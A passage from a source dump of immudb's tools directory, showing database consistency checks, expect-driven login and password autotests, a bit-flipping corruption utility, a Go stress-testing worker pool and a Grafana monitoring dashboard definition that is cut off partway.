make([]*schema.KeyValue, config.step) for j := 0; j < config.step; j += 1 { rkvs[j] = &schema.KeyValue{Key: []byte(kvs[i+j].key), Value: []byte(kvs[i+j].val)} } req := schema.SetRequest{KVs: rkvs} _, err := client.SetAll(ctx, &req) if err != nil { log.Fatal("Error inserting: " + err.Error()) } } } func check(ctx context.Context, client immuclient.ImmuClient, kvs []dbitem, ptr map[string]int) { for txn := 1; ; { req := schema.TxScanRequest{InitialTx: uint64(txn), Limit: 10, Desc: false} tx, err := client.TxScan(ctx, &req) if err != nil { log.Fatal(err) } if len(tx.Txs) == 0 { break } for i, t := range tx.Txs { log.Printf("IDX %d TX %d:\n", i, t.Header.Id) log.Printf("\tentries:\n") for _, e := range t.Entries { log.Printf("\t - %s\n", e.Key[1:]) xkey := string(e.Key[1:]) index, ok := ptr[xkey] if !ok { log.Fatal("Key out of nowhere:", xkey) } if kvs[index].key != xkey { log.Fatal("Key mismatch:", xkey, index) } kvs[index].seen = true } } txn = int(tx.Txs[len(tx.Txs)-1].Header.Id) + 1 } for k, v := range kvs { if v.seen == false { log.Fatal("Key not read", v, k) } } } ================================================ FILE: tools/autotest/Makefile ================================================ SHELL=/bin/bash -o pipefail .PHONY: all all: requirements test1 test2 .PHONY: requirements requirements: @expect -v >/dev/null 2>&1 || (echo "Please install 'expect'"; return 1) .PHONY: test1 test1: ./autotest.sh .PHONY: test2 test2: ./envpasswd.sh ================================================ FILE: tools/autotest/README.md ================================================ # Autotest These tests simulates interactive use of the tools. To launch the tests, simply invoke `make` in this directory. ## Requirements In order to execute the test, you need the "expect" cli tool, which should be available from your distro's repository: - To install `expect` on debian/ubuntu, just `apt-get install expect` - To install `expect` on RedHat/CentOS, `yum install expect` You'll also need the immu* tools, which should be already built in the main directory. ## autotest.sh This script starts immudb, logs in, changes the admin password, create a bunch of databases and populates them with deterministic values. It next proceed to read them back, via index and via key, checking the correctness of the answer. ## envpasswd.sh This scripts checks if the env variable IMMUDB_ADMIN_PASSWORD is working as it should be. ================================================ FILE: tools/autotest/adminlogin.expect ================================================ #!/usr/bin/expect -f set PASSWD [lindex $argv 0] set timeout 1 spawn ../../immuadmin login immudb expect -exact "Password:" send -- "immudb\r" expect -exact "\r logged in\r \[33mSECURITY WARNING: immudb user has the default password: please change it to ensure proper security\r \[0mChoose a password for immudb:" send -- "$PASSWD\r" expect -exact "\r Confirm password:" send -- "$PASSWD\r" expect eof ================================================ FILE: tools/autotest/adminlogin1.expect ================================================ #!/usr/bin/expect -f set PASSWD [lindex $argv 0] set timeout 1 spawn ../../immuadmin login immudb expect -exact "Password:" send -- "$PASSWD\r" expect -exact "logged in" expect eof ================================================ FILE: tools/autotest/autotest.sh ================================================ #!/bin/bash NUM_DATA=5 NUM_DB=2 IMMUCLIENT=../../immuclient IMMUADMIN=../../immuadmin IMMUDB=../../immudb # just in case it was previously set unset IMMUDB_ADMIN_PASSWORD # purge existing data rm -rf data # starts the database $IMMUDB & PID=$! PWD="daFosdo0." # login using expect script expect adminlogin.expect $PWD expect login.expect $PWD # create $NUM_DB databases and load $NUM_DATA in each of them for j in `seq 0 $NUM_DB` do # create db IDX=($(echo "$j"|md5sum)) DBNAME=database${IDX:0:8} echo "DATABASE $j: $DBNAME" $IMMUADMIN database create $DBNAME $IMMUCLIENT use $DBNAME # load data for i in `seq 0 $NUM_DATA` do key=($(echo "key:$i"|md5sum)) value=($(echo "value:$i"|md5sum)) $IMMUCLIENT safeset $key $value done done echo "Done loading, now checing" RET=0 # and now, we check the data: for j in `seq 0 $NUM_DB` do IDX=($(echo "$j"|md5sum)) DBNAME=database${IDX:0:8} echo "DATABASE $j: $DBNAME" $IMMUCLIENT use $DBNAME for i in `seq 0 $NUM_DATA` do echo "Reading $i" key=($(echo "key:$i"|md5sum)) value=($(echo "value:$i"|md5sum)) RESP=`$IMMUCLIENT getByIndex $i` rkey=`echo $RESP|egrep -o "key: [^ ]+"|cut -d ' ' -f 2` rvalue=`echo $RESP|egrep -o 'payload:".*"'|cut -d '"' -f 2` if [ "$key" != "$rkey" ] then echo "ERROR WRONG KEY '$key' != '$rkey'" RET=-1 break fi if [ "$value" != "$rvalue" ] then echo "ERROR WRONG VALUE '$value' != '$rvalue'" RET=-2 break fi RESP=`$IMMUCLIENT safeget $key` rkey=`echo $RESP|egrep -o "key: [^ ]+"|cut -d ' ' -f 2` rvalue=`echo $RESP|egrep -o 'value: [^ ]+'|cut -d ' ' -f 2` rverified=`echo $RESP|egrep -o 'verified: [^ ]+'|cut -d ' ' -f 2` if [ "$key" != "$rkey" ] then echo "ERROR WRONG KEY '$key' != '$rkey'" RET=-3 break fi if [ "$value" != "$rvalue" ] then echo "ERROR WRONG VALUE '$value' != '$rvalue'" RET=-4 break fi if [ "$rverified" != "true" ] then echo "ERROR NOT VERIFIED" RET=-5 break fi done done kill $PID wait $PID # purge existing data rm -rf data if [ $RET -eq 0 ] then printf "\n\n\033[0;32mSUCCESS!\033[0m\n\n" else printf "\n\n\033[0;31mFAIL\033[0m\n\n" fi exit $RET ================================================ FILE: tools/autotest/envpasswd.sh ================================================ #!/bin/bash IMMUCLIENT=../../immuclient IMMUADMIN=../../immuadmin IMMUDB=../../immudb export IMMUDB_ADMIN_PASSWORD="IfHDozxly.2ERYfKg" # purge existing data rm -rf data # starts the database $IMMUDB & PID=$! sleep 1 expect adminlogin1.expect ${IMMUDB_ADMIN_PASSWORD} if [ $? -eq 0 ]; then printf "\n\n\033[0;32mSUCCESS!\033[0m\n\n" RET=0 else printf "\n\n\033[0;31mFailed login using env variable IMMUDB_ADMIN_PASSWORD\033[0m\n\n" RET=1 fi kill $PID wait $PID rm -rf data # clear data exit $RET ================================================ FILE: tools/autotest/login.expect ================================================ #!/usr/bin/expect -f set PASSWD [lindex $argv 0] spawn ../../immuclient login immudb expect "Password:" send -- "$PASSWD\r" expect eof ================================================ FILE: tools/bitflip.py ================================================ #!/usr/bin/env python3 """Toggle the bit at the specified offset. Syntax: filename bit-offset""" import sys fname = sys.argv[1] # Convert bit offset to bytes + leftover bits bitpos = int(sys.argv[2]) nbytes, nbits = divmod(bitpos, 8) # Open in read+write, binary mode; read 1 byte fp = open(fname, "r+b") fp.seek(nbytes, 0) c = fp.read(1) # Toggle bit at byte position `nbits` toggled = bytes( [ ord(c)^(1< /dev/null 2>&1 & while ! echo | cqlsh 127.0.0.1 > /dev/null 2>&1; do echo -n "."; sleep 1; done echo cqlsh 127.0.0.1 < schema python -u bench.py ================================================ FILE: tools/comparison/scylladb/schema ================================================ create keyspace ks_test with replication = { 'class' : 'SimpleStrategy', 'replication_factor' : 1 }; create table ks_test.test (key text, value text, primary key (key)); ================================================ FILE: tools/long_running/stress_tool_worker_pool.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package main import ( "context" "flag" "fmt" "log" "math/rand" "sync" "time" "github.com/codenotary/immudb/pkg/api/schema" immudb "github.com/codenotary/immudb/pkg/client" "google.golang.org/protobuf/types/known/emptypb" ) // run stress tool worker pool. Ex stress_tool_worker_pool --committers 8 --readers 4 --duration 10s type cfg struct { IpAddr string Port int Username string Password string DBName string committers int readers int duration time.Duration } var config cfg func parseConfig() (c cfg) { flag.StringVar(&c.IpAddr, "addr", "", "IP address of immudb server") flag.IntVar(&c.Port, "port", 3322, "Port number of immudb server") flag.StringVar(&c.Username, "user", "immudb", "Username for authenticating to immudb") flag.StringVar(&c.Password, "pass", "immudb", "Password for authenticating to immudb") flag.StringVar(&c.DBName, "db", "defaultdb", "Name of the database to use") flag.IntVar(&c.committers, "committers", 5, "number of concurrent committers. Each committer will open a session for each insertion") flag.IntVar(&c.readers, "readers", 5, "number of concurrent readers. Each reader will use a single session for all read") flag.DurationVar(&c.duration, "duration", time.Second*10, "duration of the test. Ex : 10s, 1m, 1h") flag.Parse() return } func main() { log.SetFlags(log.LstdFlags | log.Lshortfile) config = parseConfig() jobs := entriesGenerator() okJobs := make(chan *schema.KeyValue) done := make(chan bool) doner := make(chan bool) wwg := new(sync.WaitGroup) rwg := new(sync.WaitGroup) for w := 1; w <= config.committers; w++ { go worker(jobs, okJobs, done, wwg) } for w := 1; w <= config.readers; w++ { go reader(okJobs, doner, rwg) } donec := make(chan bool) go compactor(donec) ticker := time.NewTicker(config.duration) outer: for { select { case <-ticker.C: for w := 1; w <= config.committers; w++ { done <- true } wwg.Wait() for w := 1; w <= config.readers; w++ { doner <- true } donec <- true break outer } } rwg.Wait() log.Printf("done\n\n") } func worker(jobs, okJobs chan *schema.KeyValue, done chan bool, wwg *sync.WaitGroup) { log.Printf("worker started\n") var keyVal *schema.KeyValue for { select { case keyVal = <-jobs: wwg.Add(1) opts := immudb.DefaultOptions().WithAddress(config.IpAddr).WithPort(config.Port) var client immudb.ImmuClient var err error client = immudb.NewClient().WithOptions(opts) err = client.OpenSession(context.Background(), []byte(config.Username), []byte(config.Password), config.DBName) if err != nil { log.Fatalln("Failed to connect. Reason:", err) } time.Sleep(time.Millisecond * time.Duration(rand.Intn(5000))) _, err = client.Set(context.Background(), keyVal.Key, keyVal.Value) if err != nil && err.Error() != "session not found" { log.Fatalln("Failed to insert. Reason:", err) } err = client.CloseSession(context.Background()) if err != nil && err.Error() != "session not found" { log.Fatalln("Failed to close session. Reason:", err) } okJobs <- keyVal wwg.Done() case <-done: return } } } func reader(okJobs chan *schema.KeyValue, done chan bool, rwg *sync.WaitGroup) { rwg.Add(1) log.Printf("reader started\n") var client immudb.ImmuClient var err error opts := immudb.DefaultOptions().WithAddress(config.IpAddr).WithPort(config.Port) client = immudb.NewClient().WithOptions(opts) err = client.OpenSession(context.Background(), []byte(config.Username), []byte(config.Password), config.DBName) if err != nil { log.Fatalln("Failed to connect. Reason:", err) } keyVal := &schema.KeyValue{} outer: for { select { case keyVal = <-okJobs: _, err = client.VerifiedGet(context.Background(), keyVal.Key) if err != nil { log.Fatalln("Failed to get. Reason:", err) } case <-done: break outer } } err = client.CloseSession(context.Background()) if err != nil && err.Error() != "session not found" { log.Fatalln("Failed to close session. Reason:", err) } rwg.Done() } func entriesGenerator() chan *schema.KeyValue { entries := make(chan *schema.KeyValue, 100) rand.Seed(time.Now().UnixNano()) go func() { log.Printf("Worker is generating key values...\r\n") for true { id := int(time.Now().UnixNano()) v := make([]byte, 32) rand.Read(v) entries <- &schema.KeyValue{Key: []byte(fmt.Sprintf("%d", id)), Value: v} } }() return entries } func compactor(done chan bool) { opts := immudb.DefaultOptions().WithAddress(config.IpAddr).WithPort(config.Port) client := immudb.NewClient().WithOptions(opts) err := client.OpenSession(context.Background(), []byte(config.Username), []byte(config.Password), config.DBName) if err != nil { log.Fatalln("Failed to connect. Reason:", err) } ticker := time.NewTicker(time.Second * 30) outer: for { select { case <-ticker.C: log.Printf("Compaction started") err = client.CompactIndex(context.Background(), &emptypb.Empty{}) if err != nil { log.Fatalln("Failed to compact. Reason:", err) } log.Printf("Compaction terminated") case <-done: break outer } } client.CloseSession(context.Background()) return } ================================================ FILE: tools/monitoring/grafana-dashboard.json ================================================ { "annotations": { "list": [ { "builtIn": 1, "datasource": "-- Grafana --", "enable": true, "hide": true, "iconColor": "rgba(0, 211, 255, 1)", "name": "Annotations & Alerts", "target": { "limit": 100, "matchAny": false, "tags": [], "type": "dashboard" }, "type": "dashboard" } ] }, "editable": true, "fiscalYearStartMonth": 0, "graphTooltip": 0, "id": 267, "iteration": 1649851192212, "links": [], "liveNow": false, "panels": [ { "collapsed": false, "datasource": "${datasource}", "gridPos": { "h": 1, "w": 24, "x": 0, "y": 0 }, "id": 10, "panels": [], "title": "Database size", "type": "row" }, { "datasource": "${datasource}", "fieldConfig": { "defaults": { "color": { "mode": "palette-classic" }, "custom": { "axisLabel": "", "axisPlacement": "auto", "barAlignment": 0, "drawStyle": "line", "fillOpacity": 0, "gradientMode": "none", "hideFrom": { "graph": false, "legend": false, "tooltip": false, "viz": false }, "lineInterpolation": "linear", "lineWidth": 1, "pointSize": 5, "scaleDistribution": { "type": "linear" }, "showPoints": "auto", "spanNulls": false, "stacking": { "group": "A", "mode": "none" }, "thresholdsStyle": { "mode": "off" } }, "mappings": [], "thresholds": { "mode": "absolute", "steps": [ { "color": "green", "value": null }, { "color": "red", "value": 80 } ] }, "unit": "bytes" }, "overrides": [] }, "gridPos": { "h": 8, "w": 6, "x": 0, "y": 1 }, "id": 6, "options": { "legend": { "calcs": [], "displayMode": "list", "placement": "bottom" }, "tooltip": { "mode": "single" } }, "targets": [ { "datasource": "${datasource}", "exemplar": true, "expr": "immudb_db_size_bytes{instance=~\"$instance\",db=~\"$db\"}", "interval": "", "legendFormat": "{{db}} ({{instance}})", "refId": "A" } ], "title": "Database size", "type": "timeseries" }, { "datasource": "${datasource}", "fieldConfig": { "defaults": { "color": { "mode": "palette-classic" }, "custom": { "axisLabel": "", "axisPlacement": "auto", "barAlignment": 0, "drawStyle": "line", "fillOpacity": 0, "gradientMode": "none", "hideFrom": { "graph": false, "legend": false, "tooltip": false, "viz": false }, "lineInterpolation": "linear", "lineWidth": 1, "pointSize": 5, "scaleDistribution": { "type": "linear" }, "showPoints": "auto", "spanNulls": false, "stacking": { "group": "A", "mode": "none" }, "thresholdsStyle": { "mode": "off" } }, "mappings": [], "thresholds": { "mode": "absolute", "steps": [ { "color": "green", "value": null }, { "color": "red", "value": 80 } ] }, "unit": "bytes" }, "overrides": [] }, "gridPos": { "h": 8, "w": 6, "x": 6, "y": 1 }, "id": 13, "options": { "legend": { "calcs": [], "displayMode": "list", "placement": "bottom" }, "tooltip": { "mode": "single" } }, "targets": [ { "exemplar": true, "expr": "rate(immudb_db_size_bytes{instance=~\"$instance\",db=~\"$db\"}[$__rate_interval])", "interval": "", "legendFormat": "{{db}} ({{instance}})", "refId": "A" } ], "title": "Database growth", "type": "timeseries" }, { "datasource": "${datasource}", "description": "", "fieldConfig": { "defaults": { "color": { "mode": "palette-classic" }, "custom": { "axisLabel": "", "axisPlacement": "auto", "barAlignment": 0, "drawStyle": "line", "fillOpacity": 0, "gradientMode": "none", "hideFrom": { "graph": false, "legend": false, "tooltip": false, "viz": false }, "lineInterpolation": "linear", "lineWidth": 1, "pointSize": 5, "scaleDistribution": { "type": "linear" }, "showPoints": "auto", "spanNulls": false, "stacking": { "group": "A", "mode": "none" }, "thresholdsStyle": { "mode": "off" } }, "mappings": [], "thresholds": { "mode": "absolute", "steps": [ { "color": "green", "value": null }, { "color": "red", "value": 80 } ] } }, "overrides": [] }, "gridPos": { "h": 8, "w": 6, "x": 12, "y": 1 }, "id": 8, "options": { "legend": { "calcs": [], "displayMode": "list", "placement": "bottom" }, "tooltip": { "mode": "single" } }, "targets": [ { "exemplar": true, "expr": "immudb_number_of_stored_entries{instance=~\"$instance\",db=~\"$db\"}", "interval": "", "legendFormat": "{{db}} ({{instance}})", "refId": "A" } ], "title": "Stored Entries", "type": "timeseries" }, { "datasource": "${datasource}", "description": "", "fieldConfig": { "defaults": { "color": { "mode": "palette-classic" }, "custom": { "axisLabel": "", "axisPlacement": "auto", "barAlignment": 0, "drawStyle": "line", "fillOpacity": 0, "gradientMode": "none", "hideFrom": { "graph": false, "legend": false, "tooltip": false, "viz": false }, "lineInterpolation": "linear", "lineWidth": 1, "pointSize": 5, "scaleDistribution": { "type": "linear" }, "showPoints": "auto", "spanNulls": false, "stacking": { "group": "A", "mode": "none" }, "thresholdsStyle": { "mode": "off" } }, "mappings": [], "thresholds": { "mode": "absolute", "steps": [ { "color": "green", "value": null }, { "color": "red", "value": 80 } ] } }, "overrides": [] }, "gridPos": { "h": 8, "w": 6, "x": 18, "y": 1 }, "id": 14, "options": { "legend": { "calcs": [], "displayMode": "list", "placement": "bottom" }, "tooltip": { "mode": "single" } }, "targets": [ { "exemplar": true, "expr": "rate(immudb_number_of_stored_entries{instance=~\"$instance\",db=~\"$db\"}[$__rate_interval])", "interval": "", "legendFormat": "{{db}} ({{instance}})", "refId": "A" } ], "title": "Stored Entries Rate", "type": "timeseries" }, { "collapsed": false, "datasource": "${datasource}", "gridPos": { "h": 1, "w": 24, "x": 0, "y": 9 }, "id": 16, "panels": [], "title": "Indexer statistics", "type": "row" }, { "datasource": "${datasource}", "fieldConfig": { "defaults": { "color": { "mode": "palette-classic" }, "custom": { "axisLabel": "", "axisPlacement": "auto", "barAlignment": 0, "drawStyle": "line", "fillOpacity": 0, "gradientMode": "none", "hideFrom": { "graph": false, "legend": false, "tooltip": false, "viz": false }, "lineInterpolation": "linear", "lineWidth": 1, "pointSize": 5, "scaleDistribution": { "type": "linear" }, "showPoints": "auto", "spanNulls": false, "stacking": { "group": "A", "mode": "none" }, "thresholdsStyle": { "mode": "off" } }, "mappings": [], "min": 0, "thresholds": { "mode": "absolute", "steps": [ { "color": "green", "value": null }, { "color": "red", "value": 80 } ] }, "unit": "percentunit" }, "overrides": [] }, "gridPos": { "h": 8, "w": 8, "x": 0, "y": 10 }, "id": 24, "options": { "legend": { "calcs": [], "displayMode": "list", "placement": "bottom" }, "tooltip": { "mode": "single" } }, "targets": [ { "exemplar": true, "expr": "immudb_last_indexed_trx_id{instance=~\"$instance\",db=~\"$db\"}/immudb_last_committed_trx_id{instance=~\"$instance\",db=~\"$db\"}", "interval": "", "legendFormat": "{{db}} ({{instance}})", "refId": "A" } ], "title": "Indexed %", "type": "timeseries" }, { "datasource": "${datasource}", "fieldConfig": { "defaults": { "color": { "mode": "palette-classic" }, "custom": { "axisLabel": "", "axisPlacement": "auto", "barAlignment": 0, "drawStyle": "line", "fillOpacity": 0, "gradientMode": "none", "hideFrom": { "graph": false, "legend": false, "tooltip": false, "viz": false }, "lineInterpolation": "linear", "lineWidth": 1, "pointSize": 5, "scaleDistribution": { "type": "linear" }, "showPoints": "auto", "spanNulls": false, "stacking": { "group": "A", "mode": "none" }, "thresholdsStyle": { "mode": "off" } }, "mappings": [], "min": 0, "thresholds": { "mode": "absolute", "steps": [ { "color": "green", "value": null }, { "color": "red", "value": 80 } ] } }, "overrides": [] }, "gridPos": { "h": 8, "w": 8, "x": 8, "y": 10 }, "id": 26, "options": { "legend": { "calcs": [], "displayMode": "list", "placement": "bottom" }, "tooltip": { "mode": "single" } }, "targets": [ { "exemplar": true, "expr": "rate(immudb_last_indexed_trx_id{instance=~\"$instance\",db=~\"$db\"}[$__rate_interval])", "interval": "", "legendFormat": "Idx {{db}} ({{instance}})", "refId": "A" }, { "exemplar": true, "expr": "rate(immudb_last_committed_trx_id{instance=~\"$instance\",db=~\"$db\"}[$__rate_interval])", "hide": false, "interval": "", "legendFormat": "Cmt {{db}} ({{instance}})", "refId": "B" }, { "exemplar": true, "expr": "avg_over_time(rate(immudb_last_indexed_trx_id{instance=~\"$instance\",db=~\"$db\"}[$__rate_interval])[1h:$__rate_interval])", "hide": true, "interval": "", "legendFormat": "Idx avg {{db}} ({{instance}})", "refId": "C" } ], "title": "Indexing / commit rate", "type": "timeseries" }, { "datasource": "${datasource}", "fieldConfig": { "defaults": { "color": { "mode": "palette-classic" }, "custom": { "axisLabel": "", "axisPlacement": "auto", "barAlignment": 0, "drawStyle": "line", "fillOpacity": 0, "gradientMode": "none", "hideFrom": { "graph": false, "legend": false, "tooltip": false, "viz": false }, "lineInterpolation": "linear", "lineWidth": 1, "pointSize": 5, "scaleDistribution": { "type": "linear" }, "showPoints": "auto", "spanNulls": false, "stacking": { "group": "A", "mode": "none" }, "thresholdsStyle": { "mode": "off" } }, "mappings": [], "thresholds": { "mode": "absolute", "steps": [ { "color": "green", "value": null }, { "color": "red", "value": 80 } ] } }, "overrides": [] }, "gridPos": { "h": 8, "w": 8, "x": 16, "y": 10 }, "id": 28, "options": { "legend": { "calcs": [], "displayMode": "list", "placement": "bottom" }, "tooltip": { "mode": "single" } }, "targets": [ { "exemplar": true, "expr": "immudb_last_committed_trx_id{instance=~\"$instance\",db=~\"$db\"}-immudb_last_indexed_trx_id{instance=~\"$instance\",db=~\"$db\"}", "interval": "", "legendFormat": "{{db}} ({{instance}})", "refId": "A" } ], "title": "TRXs left to index", "type": "timeseries" }, { "datasource": "${datasource}", "fieldConfig": { "defaults": { "color": { "mode": "palette-classic" }, "custom": { "axisLabel": "", "axisPlacement": "auto", "barAlignment": 0, "drawStyle": "line", "fillOpacity": 0, "gradientMode": "none", "hideFrom": { "graph": false, "legend": false, "tooltip": false, "viz": false }, "lineInterpolation": "linear", "lineWidth": 1, "pointSize": 5, "scaleDistribution": { "type": "linear" }, "showPoints": "auto", "spanNulls": false, "stacking": { "group": "A", "mode": "none" }, "thresholdsStyle": { "mode": "off" } }, "mappings": [], "thresholds": { "mode": "absolute", "steps": [ { "color": "green", "value": null }, { "color": "red", "value": 80 } ] } }, "overrides": [] }, "gridPos": { "h": 8, "w": 8, "x": 0, "y": 18 }, "id": 30, "options": { "legend": { "calcs": [], "displayMode": "list", "placement": "bottom" }, "tooltip": { "mode": "single" } }, "targets": [ { "exemplar": true, "expr": "immudb_last_committed_trx_id{instance=~\"$instance\",db=~\"$db\"}", "interval": "", "legendFormat": "{{db}} ({{instance}})", "refId": "A" } ], "title": "TRX count", "type": "timeseries" }, { "datasource": "${datasource}", "fieldConfig": { "defaults": { "color": { "mode": "palette-classic" }, "custom": { "axisLabel": "", "axisPlacement": "auto", "barAlignment": 0, "drawStyle": "line", "fillOpacity": 0, "gradientMode": "none", "hideFrom": { "graph": false, "legend": false, "tooltip": false, "viz": false }, "lineInterpolation": "linear", "lineWidth": 1, "pointSize": 5, "scaleDistribution": { "type": "linear" }, "showPoints": "auto", "spanNulls": false, "stacking": { "group": "A", "mode": "none" }, "thresholdsStyle": { "mode": "off" } }, "mappings": [], "thresholds": { "mode": "absolute", "steps": [ { "color": "green", "value": null }, { "color": "red", "value": 80 } ] } }, "overrides": [] }, "gridPos": { "h": 8, "w": 8, "x": 8, "y": 18 }, "id": 32, "options": { "legend": { "calcs": [], "displayMode": "list", "placement": "bottom" }, "tooltip": { "mode": "single" } }, "targets": [ { "exemplar": true, "expr": "label_replace(immudb_btree_cache_size{instance=~\"$instance\",id=~\".*/$db/index\"}, \"db\", \"$1\", \"id\", \".*/([^/]*)/index\")", "interval": "", "legendFormat": "{{db}} ({{instance}})", "refId": "A" } ], "title": "Btree cache size", "type": "timeseries" }, { "datasource": "${datasource}", "fieldConfig": { "defaults": { "color": { "mode": "palette-classic" }, "custom": { "axisLabel": "", "axisPlacement": "auto", "barAlignment": 0, "drawStyle": "line", "fillOpacity": 0, "gradientMode": "none", "hideFrom": { "graph": false, "legend": false, "tooltip": false, "viz": false }, "lineInterpolation": "linear", "lineWidth": 1, "pointSize": 5, "scaleDistribution": { "type": "linear" }, "showPoints": "auto", "spanNulls": false, "stacking": { "group": "A", "mode": "none" }, "thresholdsStyle": { "mode": "off" } }, "mappings": [], "min": 0, "thresholds": { "mode": "absolute", "steps": [ { "color": "green", "value": null }, { "color": "red", "value": 80 } ] }, "unit": "percentunit" }, "overrides": [] }, "gridPos": { "h": 8, "w": 8, "x": 16, "y": 18 }, "id": 34, "options": { "legend": { "calcs": [], "displayMode": "list", "placement": "bottom" }, "tooltip": { "mode": "single" } }, "targets": [ { "exemplar": true, "expr": "label_replace(\n rate(immudb_btree_cache_hit{instance=~\"$instance\",id=~\".*/$db/index\"}[$__rate_interval]) /\n (\n rate(immudb_btree_cache_miss{instance=~\"$instance\",id=~\".*/$db/index\"}[$__rate_interval])+\n rate(immudb_btree_cache_hit{instance=~\"$instance\",id=~\".*/$db/index\"}[$__rate_interval])\n ),\n\"db\", \"$1\", \"id\", \".*/([^/]*)/index\")", "interval": "", "legendFormat": "{{db}} ({{instance}})", "refId": "A" } ], "title": "BTree cache hit%", "type": "timeseries" }, { "collapsed": true, "datasource": "${datasource}", "gridPos": { "h": 1, "w": 24, "x": 0, "y": 26 }, "id": 41, "panels": [ { "datasource": "${datasource}", "fieldConfig": { "defaults": { "color": { "mode": "palette-classic" }, "custom": { "axisLabel": "", "axisPlacement": "auto", "barAlignment": 0, "drawStyle": "line", "fillOpacity": 0, "gradientMode": "none", "hideFrom": { "graph": false, "legend": false, "tooltip": false, "viz": false }, "lineInterpolation": "linear", "lineWidth": 1, "pointSize": 5, "scaleDistribution": { "type": "linear" }, "showPoints": "auto", "spanNulls": false, "stacking": { "group": "A", "mode": "none" }, "thresholdsStyle": { "mode": "off" } }, "mappings": [], "thresholds": { "mode": "absolute", "steps": [ { "color": "green", "value": null }, { "color": "red", "value": 80 } ] } }, "overrides": [] }, "gridPos": { "h": 8, "w": 8, "x": 0, "y": 27 }, "id": 36, "options": { "legend": { "calcs": [], "displayMode": "list", "placement": "bottom" }, "tooltip": { "mode": "single" } }, "targets": [ { "exemplar": true, "expr": "label_replace(immudb_btree_depth{instance=~\"$instance\",id=~\".*/$db/index\"},\"db\", \"$1\", \"id\", \".*/([^/]*)/index\")", "interval": "", "legendFormat": "{{db}} ({{instance}})", "refId": "A" } ], "title": "BTree depth", "type": "timeseries" }, { "cards": {}, "color": { "cardColor": "#b4ff00", "colorScale": "sqrt", "colorScheme": "interpolateOranges", "exponent": 0.5, "mode": "spectrum" }, "dataFormat": "tsbuckets", "datasource": "${datasource}", "gridPos": { "h": 8, "w": 8, "x": 8, "y": 27 }, "heatmap": {}, "hideZeroBuckets": false, "highlightCards": true, "id": 38, "legend": { "show": false }, "maxDataPoints": 50, "reverseYBuckets": false, "targets": [ { "exemplar": true, "expr": "sum(rate(immudb_btree_inner_node_entries_bucket{instance=~\"$instance\",id=~\".*/$db/index\"}[$__rate_interval])) by (le)", "format": "heatmap", "interval": "", "legendFormat": "{{le}}", "refId": "A" } ], "title": "BTree inner nodes children distribution", "tooltip": { "show": true, "showHistogram": true }, "type": "heatmap", "xAxis": { "show": true }, "yAxis": { "format": "short", "logBase": 1, "show": true }, "yBucketBound": "auto" }, { "cards": {}, "color": { "cardColor": "#b4ff00", "colorScale": "sqrt", "colorScheme": "interpolateOranges", "exponent": 0.5, "mode": "spectrum" }, "dataFormat": "tsbuckets", "datasource": "${datasource}", "gridPos": { "h": 8, "w": 8, "x": 16, "y": 27 }, "heatmap": {}, "hideZeroBuckets": false, "highlightCards": true, "id": 39, "legend": { "show": false }, "maxDataPoints": 50, "reverseYBuckets": false, "targets": [ { "exemplar": true, "expr": "sum(rate(immudb_btree_leaf_node_entries_bucket{instance=~\"$instance\",id=~\".*/$db/index\"}[$__rate_interval])) by (le)", "format": "heatmap", "instant": false, "interval": "", "legendFormat": "{{le}}", "refId": "A" } ], "title": "BTree leaf nodes children distribution", "tooltip": { "show": true, "showHistogram": true }, "type": "heatmap", "xAxis": { "show": true }, "yAxis": { "format": "short", "logBase": 1, "show": true }, "yBucketBound": "auto" }, { "datasource": "${datasource}", "fieldConfig": { "defaults": { "color": { "mode": "palette-classic" }, "custom": { "axisLabel": "", "axisPlacement": "auto", "barAlignment": 0, "drawStyle": "line", "fillOpacity": 0, "gradientMode": "none", "hideFrom": { "graph": false, "legend": false, "tooltip": false, "viz": false }, "lineInterpolation": "linear", "lineWidth": 1, "pointSize": 5, "scaleDistribution": { "type": "linear" }, "showPoints": "auto", "spanNulls": false, "stacking": { "group": "A", "mode": "none" }, "thresholdsStyle": { "mode": "off" } }, "mappings": [], "thresholds": { "mode": "absolute", "steps": [ { "color": "green", "value": null }, { "color": "red", "value": 80 } ] } }, "overrides": [] }, "gridPos": { "h": 8, "w": 6, "x": 0, "y": 35 }, "id": 61, "options": { "legend": { "calcs": [], "displayMode": "list", "placement": "bottom" }, "tooltip": { "mode": "single" } }, "targets": [ { "exemplar": true, "expr": "label_replace(\n rate(immudb_btree_flushed_entries_total{instance=~\"$instance\",id=~\".*/$db/index\"}[$__rate_interval]),\n\"db\", \"$1\", \"id\", \".*/([^/]*)/index\")", "interval": "", "legendFormat": "{{db}} ({{instance}})", "refId": "A" } ], "title": "Flush rate - entries", "type": "timeseries" }, { "datasource": "${datasource}", "fieldConfig": { "defaults": { "color": { "mode": "palette-classic" }, "custom": { "axisLabel": "", "axisPlacement": "auto", "barAlignment": 0, "drawStyle": "line", "fillOpacity": 0, "gradientMode": "none", "hideFrom": { "graph": false, "legend": false, "tooltip": false, "viz": false }, "lineInterpolation": "linear", "lineWidth": 1, "pointSize": 5, "scaleDistribution": { "type": "linear" }, "showPoints": "auto", "spanNulls": false, "stacking": { "group": "A", "mode": "none" }, "thresholdsStyle": { "mode": "off" } }, "mappings": [], "thresholds": { "mode": "absolute", "steps": [ { "color": "green", "value": null }, { "color": "red", "value": 80 } ] } }, "overrides": [] }, "gridPos": { "h": 8, "w": 6, "x": 6, "y": 35 }, "id": 63, "options": { "legend": { "calcs": [], "displayMode": "list", "placement": "bottom" }, "tooltip": { "mode": "single" } }, "targets": [ { "datasource": "${datasource}", "exemplar": true, "expr": "label_replace(\n immudb_btree_flushed_entries_last_cycle{instance=~\"$instance\", id=~\".*/$db/index\"},\n\"db\", \"$1\", \"id\", \".*/([^/]*)/index\")", "interval": "", "legendFormat": "{{db}} ({{instance}})", "refId": "A" } ], "title": "Flush progress - entries", "type": "timeseries" }, { "datasource": "${datasource}", "fieldConfig": { "defaults": { "color": { "mode": "palette-classic" }, "custom": { "axisLabel": "", "axisPlacement": "auto", "barAlignment": 0, "drawStyle": "line", "fillOpacity": 0, "gradientMode": "none", "hideFrom": { "graph": false, "legend": false, "tooltip": false, "viz": false }, "lineInterpolation": "linear", "lineWidth": 1, "pointSize": 5, "scaleDistribution": { "type": "linear" }, 